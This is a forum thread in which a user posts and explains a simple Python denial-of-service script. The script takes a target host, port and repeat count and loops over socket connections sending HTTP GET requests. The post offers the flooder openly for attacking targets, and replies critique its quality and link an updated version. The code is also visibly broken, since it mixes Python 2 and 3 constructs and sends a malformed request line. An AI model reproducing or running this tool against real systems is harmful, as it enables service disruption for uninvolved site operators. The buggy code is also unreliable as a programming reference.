chevron_left chevron_right
Login Register invert_colors photo_library


Stay updated and chat with others! - Join the Discord!
Thread Rating:
  • 0 Vote(s) - 0 Average


Yet Another DDoS Tool filter_list
Author
Message
Yet Another DDoS Tool #1
I am in love with Python, especially using the socket import.

This is really simple, or at least to me, and easy to use.

I will explain the basics and then jump into the code and shit.

The tool requests your information such as how many packets to send, the time to relay them, the host, and it prompts the user if they have a specific port. If they don't have a specific port, then it defaults to port 80. Once all information has been filled out, it will attack them mother fuckers.

Examples:
Spoiler:
[Image: 2ilxxx.jpg]
[Image: oaut0w.jpg]

Keep in mind that the examples had the tool itself disabled as a safety precaution even though it wouldn't work anyways.

To the code!

We have four imports, pretty simple and easy enough, right?

Code:
import os,sys,time,socket

Next we define launch, which is just basically the entire tool itself.

Code:
def launch():
    print("\n Attex DDoSer \n")
    time     = int(input("Relay, 1 - 1000000: "))
    target   = input("Target: ")

    if ":" in target:
        t,c = target.split(":",1)
        c,t = c.split("'",1)
        t2,c2 = target.split("'",1)
        c2,t2 = c2.split(":",1)
    else:
        c = ''
        t2,c2 = target.split("'",1)
        c2,t2 = c2.split("'",1)

    host     = c2

    if c == '':
        port = 80
    else:
        port = int(c)

    def ddos():
        x = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        x.connect((host,port))
        print("\nTARGET: {0}\nPORT: {1}\n".format(host,str(port)))
        x.send("GET /"+host+"HTTP/1.1\r\n")
        x.send("Host: "+host+"\r\n\r\n")
        x.close()

    for x in xrange(0,time):
        ddos()

Let's break this down.

First the information such as our target and relay time is as follows.

Code:
print("\n Attex DDoSer \n")
    time     = int(input("Relay, 1 - 1000000: "))
    target   = input("Target: ")

That allows us to define our target and our relay time for how fast we send our shit.

Code:
if ":" in target:
        t,c = target.split(":",1)
        c,t = c.split("'",1)
        t2,c2 = target.split("'",1)
        c2,t2 = c2.split(":",1)
    else:
        c = ''
        t2,c2 = target.split("'",1)
        c2,t2 = c2.split("'",1)

    host     = c2

    if c == '':
        port = 80
    else:
        port = int(c)

Here we just have what splits our port and host from each other. It defaults to 80 if not specified.

Now we define ddos, where the magic happens.

Code:
def ddos():
        x = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        x.connect((host,port))
        print("\nTARGET: {0}\nPORT: {1}\n".format(host,str(port)))
        x.send("GET /"+host+"HTTP/1.1\r\n")
        x.send("Host: "+host+"\r\n\r\n")
        x.close()

Now we just have it do our relay time and have the program itself start off with launch.

Code:
for x in xrange(0,time):
        ddos()

launch()

(Working on instances, again)

Leave your comments, bullshit, flames, advice, and whatever else you may have below.

Update: This project will be HEAVILY edited, to see an edited version of this just go to my Github by clicking [here].

Reply

RE: Yet Another DDoS Tool #2
Finally! Someone who enjoys Python as much as I do. ^.^
Scientia potentia est

[Image: inkexplosion.jpg]

Reply

RE: Yet Another DDoS Tool #3
This is probably the first semi-useful thread i've seen by you.

Good job.
Wavy baby

Reply

RE: Yet Another DDoS Tool #4
(03-06-2014, 02:59 AM)Banshee Wrote: This is probably the first semi-useful thread i've seen by you.

Good job.

Bound to happen sometime, right?

Reply

RE: Yet Another DDoS Tool #5
(03-06-2014, 02:59 AM)Banshee Wrote: This is probably the first semi-useful thread i've seen by you.

Good job.

No, its in Python 3 voiding any usefulness.
#MakeSinisterlySexyAgain

Reply

RE: Yet Another DDoS Tool #6
Please leave the forum forever and never come back <3.

Reply

RE: Yet Another DDoS Tool #7
(03-06-2014, 04:14 AM)BlueScreen Wrote: Please leave the forum forever and never come back <3.

Sorry, but no <3.

Reply

RE: Yet Another DDoS Tool #8
1. What the fuck is with you and sleeps, you shouldn't EVER impose unneeded wait times.

2. Your program flow is convoluted as fuck. I still haven't worked out how this thing would actually run.

3. You don't even use a handful of variables. Comment out( or don't commit ) unfinished features.

4. How does this even run? host and port are both variables local to onLoad, attex doesn't have access to them.

5. Never, ever, use meaningless variable names( your socket x ). It's bad practice, and terribly hard to read.

6. Why have the user type two inputs related to a specified port? Just ask for a port, if left blank default it to 80.
micrictor@creep.im

Reply

RE: Yet Another DDoS Tool #9
(03-06-2014, 04:40 AM)w00t Wrote: 1. What the fuck is with you and sleeps, you shouldn't EVER impose unneeded wait times.

2. Your program flow is convoluted as fuck. I still haven't worked out how this thing would actually run.

3. You don't even use a handful of variables. Comment out( or don't commit ) unfinished features.

4. How does this even run? host and port are both variables local to onLoad, attex doesn't have access to them.

5. Never, ever, use meaningless variable names( your socket x ). It's bad practice, and terribly hard to read.

6. Why have the user type two inputs related to a specified port? Just ask for a port, if left blank default it to 80.

Most of that is already fixed in a better version. Here: http://pastebin.com/uPKXXxdu

Reply






Users browsing this thread: 1 Guest(s)